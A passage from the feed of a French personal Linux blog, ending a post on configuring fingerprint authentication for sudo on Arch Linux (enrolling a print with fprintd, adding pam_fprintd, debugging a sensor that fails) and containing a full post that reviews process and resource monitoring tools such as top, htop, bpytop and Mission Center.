<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>PS : à partir de là, vous devriez également voir que la gestion des empreintes digitale est apparu dans votre gestionnaire graphique</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enregistrer-son-empreinte">Enregistrer son empreinte<a href="https://docs.bastienbonora.fr/blog/Configurer-authentification-biom%C3%A9trique#enregistrer-son-empreinte" class="hash-link" aria-label="Lien direct vers Enregistrer son empreinte" title="Lien direct vers Enregistrer son empreinte" translate="no">​</a></h2>
<p>On va pour cela utiliser la commande <code>fprintd-enroll</code>, vous pouvez également spécifier le doigt que vous voulez utiliser en spécifiant l'option <code>-f</code> : <code>fprintd-enroll -f right-index-finger</code>.<br>
<!-- -->Une fois que vous avez fait cette commande. On vous demande votre mot de passe, puis une ligne apparaît. C'est maintenant à <strong>vous de jouer</strong>. Appuyer à répétition sur le lecteur d'empreinte pour enregistrer votre empreinte.</p>
<p>Une fois que tout cela est terminé, vous allez avoir le message : <code>Enroll result: enroll-completed</code>.</p>
<p>Pour vérifier que votre empreinte soit bien enregistrée, utilisez la commande : <code>fprintd-list $USER</code>, vous devriez alors avoir :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">found </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> devices</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Device at /net/reactivated/Fprint/Device/0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Using device /net/reactivated/Fprint/Device/0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Fingerprints </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> user user on Egis Technology </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">LighTuning</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> Match-on-Chip </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">press</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain">:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"> - </span><span class="token comment" style="color:#999988;font-style:italic">#0: right-index-finger</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Il existe également la commande <code>fprintd-verify</code>, cependant il semble y avoir un bug, et cette dernière supprimerait les enregistrements biométrique une fois lancée. Cela ne concernerait qu'à première vue les systèmes "Match-On-Chip" :<br>
<a href="https://bbs.archlinux.org/viewtopic.php?id=302751&amp;utm_source=chatgpt.com" target="_blank" rel="noopener noreferrer" class="">LighTuning fingerprint fprintd / Applications &amp; Desktop Environments / Arch Linux Forums</a></p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="configurer-lauthentification-sur-notre-machine">Configurer l'authentification sur notre machine<a href="https://docs.bastienbonora.fr/blog/Configurer-authentification-biom%C3%A9trique#configurer-lauthentification-sur-notre-machine" class="hash-link" aria-label="Lien direct vers Configurer l'authentification sur notre machine" title="Lien direct vers Configurer l'authentification sur notre machine" translate="no">​</a></h2>
<p>Malgré ce petit bug, nous devrions être capable d'utiliser notre empreinte à la fois pour l'authentification système mais également console.</p>
<p>Dans cette partie, en toute logique il faut modifier les fichiers tel que <code>/etc/pam.d/sudo</code> et ajouter une ligne :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">auth		sufficient	pam_fprintd.so</span><br></div></code></pre></div></div>
<p>Cependant cette procédure n'allait que trop bien pour que mon expérience Linux soit complète. Une fois le fichier sauvegardé, le comportement attendus est celui-ci :</p>
<p>Dans une nouvelle fenêtre, si vous faites <code>sudo ls</code> par exemple, la console est censé vous demander votre empreinte. Évidemment, pour ma part, il serait trop beau que tout fonctionne du premier coup. Donc qu'est-ce qu'il se passe pour moi ? On me demande mon mot de passe 🙃.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Edit : Cette erreur de mon côté provient du fait que je n'avais pas enregistré mon doigt... essayez d'en enregistrer un avant, sinon essayez de voir avec le débug ci-dessous pour voir si vous possédez bien le fichier <code>pam_fprintd.so</code></p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="du-débug-ouiiiiiii">du débug OUIIIIIII<a href="https://docs.bastienbonora.fr/blog/Configurer-authentification-biom%C3%A9trique#du-d%C3%A9bug-ouiiiiiii" class="hash-link" aria-label="Lien direct vers du débug OUIIIIIII" title="Lien direct vers du débug OUIIIIIII" translate="no">​</a></h3>
<p>Ducoup, premier réflexe, aller voir les journaux :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">journalctl </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> pam_fprintd</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">juin </span><span class="token number" style="color:#36acaa">25</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">22</span><span class="token plain">:35:34 archlinux sudo</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">69022</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">: PAM _pam_load_conf_file: unable to </span><span class="token function" style="color:#d73a49">open</span><span class="token plain"> config </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> pam_fprintd.so</span><br></div></code></pre></div></div>
<p>très rassurant tout ça, donc maintenant, il faut que je trouve où se trouve se fichue fichier :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">locate</span><span class="token plain"> pam_fprintd.so</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">bash: </span><span class="token function" style="color:#d73a49">locate</span><span class="token plain">&nbsp;</span><span class="token builtin class-name">:</span><span class="token plain"> commande introuvable</span><br></div></code></pre></div></div>
<p><em>Vous n'imaginez pas ma tête à ce moment là</em><br>
<!-- -->On l'installe donc avec <code>sudo pacman -S locate</code> et on réessaie :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">locate</span><span class="token plain"> pam_fprintd.so</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pread: Short </span><span class="token builtin class-name">read</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">file corrupted?</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p><em>Et là non plus vous n'imaginez pas</em></p>
<p>Ducoup, il faut mettre à jour la base : <code>sudo updatedb</code>, puis cela devrait fonctionner :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">locate</span><span class="token plain"> pam_fprintd.so</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">/usr/lib/security/pam_fprintd.so</span><br></div></code></pre></div></div>
<p><em>Je suis juste un peu bête. Il ne trouve pas le fichier dans un premier temps si on a pas enregistré d'empreinte. Essayez d'enregistrer un doigt avant...</em></p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>Si jamais le fichier ne s'affiche toujours pas, vous devriez alors installer pam_fprintd : <code>sudo pacman -S pam_fprintd</code></p></div></div>
<p>Là je suis désolé de vous décevoir, mais pour moi c'est la fin de l'aventure. La raison vient de ces différents élémets que j'ai découvert lors de la mise en place :</p>
<ul>
<li class="">Lorsque l'on enregistre une empreinte, si on essaie de <code>fprintd-verify</code>, l'empreinte est directement supprimée. Visiblement c'est un bug référencé par la communauté.</li>
<li class="">Lorsque l'on enregistre une empreinte, que l'on met la ligne <code>auth sufficient pam_fprintd.so</code> et que l'on essaie de faire un <code>sudo ls</code> dans un nouveau terminal. On me demande l'empreinte et on me dit que l'empreinte n'est pas reconnue avant même que je n'ai posé le doigt.</li>
</ul>
<p>Visiblement l'erreur est référencée ici : <a href="https://bugs.launchpad.net/libfprint-2-tod1-broadcom/+bug/1956885" target="_blank" rel="noopener noreferrer" class="">Bug #1956885 “Incorrect verify implementation, unable to verify ...” : Bugs : libfprint-2-tod1-broadcom</a> Apparemment fix, mais pour ma part cela ne fonctionne toujours pas... dommage</p>
<p>Il y a tout de même cette issue dans la Arch wiki : <a href="https://bbs.archlinux.org/viewtopic.php?pid=2248198#p2248198" target="_blank" rel="noopener noreferrer" class="">LighTuning fingerprint sensor with Plasma and fprintd / Applications &amp; Desktop Environments / Arch Linux Forums</a> J'ai relancé, on verra ce que cela donne.</p>
<p>Pour ceux à qui ça ne fonctionne pas comme moi, je ne veux pas vous faire de faux espoirs : <a href="https://gitlab.freedesktop.org/libfprint/wiki/-/wikis/Unsupported%20Devices" target="_blank" rel="noopener noreferrer" class="">Unsupported Devices · Wiki · libfprint / wiki · GitLab</a><br>
<!-- -->On espère tout de même qu'on pourra les utiliser...</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="Linux" term="Linux"/>
        <category label="système" term="système"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[monitorer son OS Linux]]></title>
        <id>https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux</id>
        <link href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux"/>
        <updated>2025-06-24T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Je pense que beaucoup d'entre-vous connaissent ce que signifie "monitorer son OS", concrètement, cela veut dire que vous voulez voir ce qu'il se passe sur votre ordinateur. Que ça soit la température de votre processeur, son utilisation et surtout quels processus utilisent votre processeur ou votre RAM.]]></summary>
        <content type="html"><![CDATA[<p>Je pense que beaucoup d'entre-vous connaissent ce que signifie "monitorer son OS", concrètement, cela veut dire que vous voulez voir ce qu'il se passe sur votre ordinateur. Que ça soit la température de votre processeur, son utilisation et surtout quels processus utilisent votre processeur ou votre RAM.</p>
<p>On connaît tous Chrome qui nous prend 10Go de RAM sans qu'il ne s'y passe grand chose.</p>
<p>Je vais donc vous présenter différents outils présent sur la plupart des distributions Linux qu'ils soient en ligne de commande ou en interface graphique.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-on-fait-ça-">pourquoi on fait ça ?<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#pourquoi-on-fait-%C3%A7a-" class="hash-link" aria-label="Lien direct vers pourquoi on fait ça ?" title="Lien direct vers pourquoi on fait ça ?" translate="no">​</a></h2>
<p>La première réponse qui me vient à l'esprit c'est juste qu'on est qu'une bande de geek et que de voir des graphique bouger nous amuse. Personnellement, c'est l'une des raisons principale, j'aime voir des couleurs dans tous les sens.</p>
<p>Mais bon, un peu de sérieux. Si on fait ça c'est plutôt pour voir s'il ne se passe pas quelque chose d'étrange. Sur un PC portable, on ne veut pas forcément qu'un programme nous prenne 50% de nos ressources alors qu'il ne devrait pas. Cela peut concerner l'utilisation du disque, du processeur, de la RAM et plus encore.<br>
<!-- -->On veut également en plus de les afficher, avoir la possibilité de tuer ou geler les processus qui nous gênent. Il y a plein de cas de figure qui rentrent en comptent, un processus planté, une fenêtre fermée mais qui reste active. Pouvoir directement voir et tuer le ou les processus problématique</p>
<p>Ça s'applique au delà de votre utilisation personnelle à tout ce qui concerne les serveurs. Des processus trop gourmand peuvent coûter cher en ressource serveur et en électricité. En fonction de l'entreprise, les chiffres peuvent vite faire tourner la tête.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="quelques-outils">quelques outils<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#quelques-outils" class="hash-link" aria-label="Lien direct vers quelques outils" title="Lien direct vers quelques outils" translate="no">​</a></h2>
<p>Je vais commencer par vous présenter les outils en ligne de commande, du moins classe au plus classe. Commençons</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-commande-ps">la commande ps<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#la-commande-ps" class="hash-link" aria-label="Lien direct vers la commande ps" title="Lien direct vers la commande ps" translate="no">​</a></h3>
<p>Là on est sur du vieux de vieux. Cette commande permet de lister tous les processus en cour d'utilisation sur votre ordinateur :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ps -aux</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root           1  0.0  0.0  24060 12764 ?        Ss   08:44   0:10 /sbin/init</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root           2  0.0  0.0      0     0 ?        S    08:44   0:00 [kthreadd]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root           3  0.0  0.0      0     0 ?        S    08:44   0:00 [pool_workqueue_release]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root           4  0.0  0.0      0     0 ?        I&lt;   08:44   0:00 [kworker/R-rcu_gp]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">root           5  0.0  0.0      0     0 ?        I&lt;   08:44   0:00 [kworker/R-sync_wq]</span><br></div></code></pre></div></div>
<p>On peut afficher les utilisateurs, les binaires, l'utilisation CPU à un moment donné.</p>
<p>Cette commande sera partout, c'est l'une des commandes de base que vous retrouverez un peu partout. Vous pouvez avoir plus de précision ici pour son utilisation : <a href="https://www.linuxtricks.fr/wiki/ps-lister-les-processus-sur-linux" target="_blank" rel="noopener noreferrer" class="">ps : Lister les processus sur Linux - Wiki - Wiki</a></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-commande-top">la commande top<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#la-commande-top" class="hash-link" aria-label="Lien direct vers la commande top" title="Lien direct vers la commande top" translate="no">​</a></h3>
<p>Là on commence à avoir quelque chose de plus interactif et surtout, on a toutes les informations en direct, c'est actualisé en direct.</p>
<p>Les informations vont s'afficher comme cela :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">top - 20:03:51 up 11:19,  1 user,  load average: 0,91, 0,99, 1,01</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Tâches: 408 total, 2 running, 406 sleep, 0 d-sleep, 0 stopped, 0 zombie</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">%Cpu(s):  4,0 ut,  1,8 sy,  0,0 ni, 92,7 id,  0,0 wa,  0,9 hi,  0,5 si,  0,0 st </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">MiB Mem :  15543,8 total,   5398,0 libr,   7403,1 util,   5343,0 tamp/cache     </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">MiB Éch :  10240,0 total,  10222,2 libr,     17,7 util.   8140,6 dispo Mem </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    PID UTIL.     PR  NI    VIRT    RES    SHR S  %CPU  %MEM    TEMPS+ COM.                                                                                                       </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  35709 vous+  20   0 1405,6g 562460 173308 S  31,8   3,5  30:21.29 Discord                                                                                                    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  37367 vous+  20   0 1836380 160624 113976 S  17,6   1,0   0:37.67 kgx                                                                                                        </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  33939 vous+  20   0 4928356 330420 202392 R  14,6   2,1   7:02.11 gnome-shell                                                                                                </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  34416 fracorb+  20   0  687428  75192  46340 S   8,6   0,5   5:53.25 easyeffects        </span><br></div></code></pre></div></div>
<p>Vous pouvez voir en direct, chaque processus, son utilisation processeur, RAM etc.<br>
<!-- -->Pour mieux comprendre le retour de cette commande, je vous invite à aller voir : <a href="https://guillaume.fenollar.fr/blog/top-lire-comprendre-analyser-la-commande-top/" target="_blank" rel="noopener noreferrer" class="">Lire, comprendre, et analyser la commande top</a> de Guillaume FENOLLAR. Et un petit wiki pour la route <a href="https://debian-facile.org/doc:systeme:top" target="_blank" rel="noopener noreferrer" class="">La commande top - Debian-facile</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-commande-htop">la commande htop<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#la-commande-htop" class="hash-link" aria-label="Lien direct vers la commande htop" title="Lien direct vers la commande htop" translate="no">​</a></h3>
<p>Là, on commence à arriver sur des commandes plus graphiques, plus simple à utiliser. On retrouve une intégration de la souris avec des informations plus claires et facile à comprendre. Voici un petit appercu :</p>
<p><img decoding="async" loading="lazy" alt="la commande htop" src="https://docs.bastienbonora.fr/assets/images/htop-a14a54619b54b11ff4873dea88bf44db.png" width="2853" height="571" class="img_ev3q"></p>
<p>Vous voyez directement l'utilisation de chacun de vos coeurs processeur, de votre RAM, SWAP, et vous pouvez cliquer sur chacun des éléments pour trier comme vous le souhaitez l'affichage.</p>
<p>Cette commande est largement utilisé, mais pas souvent implémenté par défaut dans les distributions. Pour celle-là je ne pense pas avoir besoins de vous donner un WIKI, tout est très simple à comprendre.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-commande-nvtop">la commande nvtop<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#la-commande-nvtop" class="hash-link" aria-label="Lien direct vers la commande nvtop" title="Lien direct vers la commande nvtop" translate="no">​</a></h3>
<p>Cette commande là ne fait pas que monitorer votre OS, elle se concentre principalement sur l'utilisation de votre processeur graphique.<br>
<!-- -->il signifie <strong>N</strong>eat <strong>V</strong>ideocard top et a donc pour principal objectif de regarder le comportement de votre processeur graphique.</p>
<p>Vous pouvez retrouver le projet github ici : <a href="https://github.com/Syllo/nvtop" target="_blank" rel="noopener noreferrer" class="">GitHub - Syllo/nvtop</a></p>
<p><img decoding="async" loading="lazy" alt="la commande nvtop" src="https://docs.bastienbonora.fr/assets/images/nvtop-0618c16b1851447b297b5750a3531539.png" width="1402" height="542" class="img_ev3q"></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-projet-bpytop">le projet bpytop<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#le-projet-bpytop" class="hash-link" aria-label="Lien direct vers le projet bpytop" title="Lien direct vers le projet bpytop" translate="no">​</a></h3>
<p>Là, c'est quelque chose que j'ai découvert très récemment. J'ai souvent vu cette commande dans des vidéos de Youtubeurs, mais je n'ai jamais trouvé le nom de cette commande jusqu'à ce qu'un collègue m'en parle.<br>
<!-- -->Vous pouvez considérer que c'est bien un htop sous stéroïde, mais bien monté.</p>
<p><img decoding="async" loading="lazy" alt="la commande bpytop" src="https://docs.bastienbonora.fr/assets/images/bpytop-51eca96d5255909fe7d1c3073090a605.png" width="2853" height="1642" class="img_ev3q"></p>
<p>Dans cet affichage, tout est interactif, tous les boutons le sont, et vous avez même la possibilité d'aller dans dans un menu permettant de gérer l'affichage ou les thèmes que vous voulez utiliser.</p>
<p>N'hésitez pas à aller dans le projet github <a href="https://github.com/aristocratos/bpytop" target="_blank" rel="noopener noreferrer" class="">Bpytop: Linux/OSX/FreeBSD resource monitor</a></p>
<p>On voit que certains sont très motivés pour mettre plein de couleur pour voir l'utilisation en direct de nos ressources. Moi j'aime, pouvoir afficher ça sur un serveur CLI only, je trouve ça génial.</p>
<p>Passons désormais à des outils graphiques</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="system-monitor">system monitor<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#system-monitor" class="hash-link" aria-label="Lien direct vers system monitor" title="Lien direct vers system monitor" translate="no">​</a></h3>
<p>Étant un utilisateur de Gnome, je ne peux passer à côté de cet outil installé par défaut sous ce gestionnaire graphique.<br>
<!-- -->On a quelque chose de simple sans fioriture et qui fait largement ce qu'on lui demande :</p>
<p><img decoding="async" loading="lazy" alt="system monitor - graphiques" src="https://docs.bastienbonora.fr/assets/images/systemMonitor-f8a19eddce72d7e8b478b7a9e471f0c7.png" width="1545" height="1384" class="img_ev3q"></p>
<p>On peut également afficher les processus, et surtout les tuer ! On peut avoir un affichage avec dépendance, qui nous permet de voir le processus parent afin de tuer directement l'entièreté des processus. <a href="https://apps.gnome.org/fr/SystemMonitor/" target="_blank" rel="noopener noreferrer" class="">Moniteur système – Applis pour GNOME</a></p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="centre-de-mission">Centre de mission<a href="https://docs.bastienbonora.fr/blog/monitorer-son-OS-Linux#centre-de-mission" class="hash-link" aria-label="Lien direct vers Centre de mission" title="Lien direct vers Centre de mission" translate="no">​</a></h3>
<p>Celui-là, c'est littéralement une copie conforme de ce qu'on a sous Windows avec le gestionnaire des tâches.</p>
<p>Il vous permet d'avoir l'utilisation par processeur, la vitesse à laquelle il tourne, il récupère également la température sur la plupart de vos périphériques.</p>
<p><img decoding="async" loading="lazy" alt="Mission center" src="https://docs.bastienbonora.fr/assets/images/missionCenter-4a52258ce20c0235f54cfc600f73d52e.png" width="2872" height="1728" class="img_ev3q"></p>
<p>On retrouve dans les applications, une interface très conviviale, qui montre directement vos applications :</p>
<p><img decoding="async" loading="lazy" alt="Mission center - les processus" src="https://docs.bastienbonora.fr/assets/images/missionCenter-process-2becbb69fda8dc51e0026437be29e8f4.png" width="2727" height="1234" class="img_ev3q"></p>
<p>Idem pour la partie des services où vous pouvez démarrez n'importe lequel des services de votre machine.
N'hésitez pas à aller y jeter un oeil : <a href="https://missioncenter.io/" target="_blank" rel="noopener noreferrer" class="">Mission Center</a>.</p>
<p>Je pense avoir fait le tour de ce que je connais et que j'utilise. Il doit exister encore tant d'autres outil graphique ou console.</p>
<p>Passez une bonne journée, et à la prochaine.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="Linux" term="Linux"/>
        <category label="tools" term="tools"/>
    </entry>
</feed>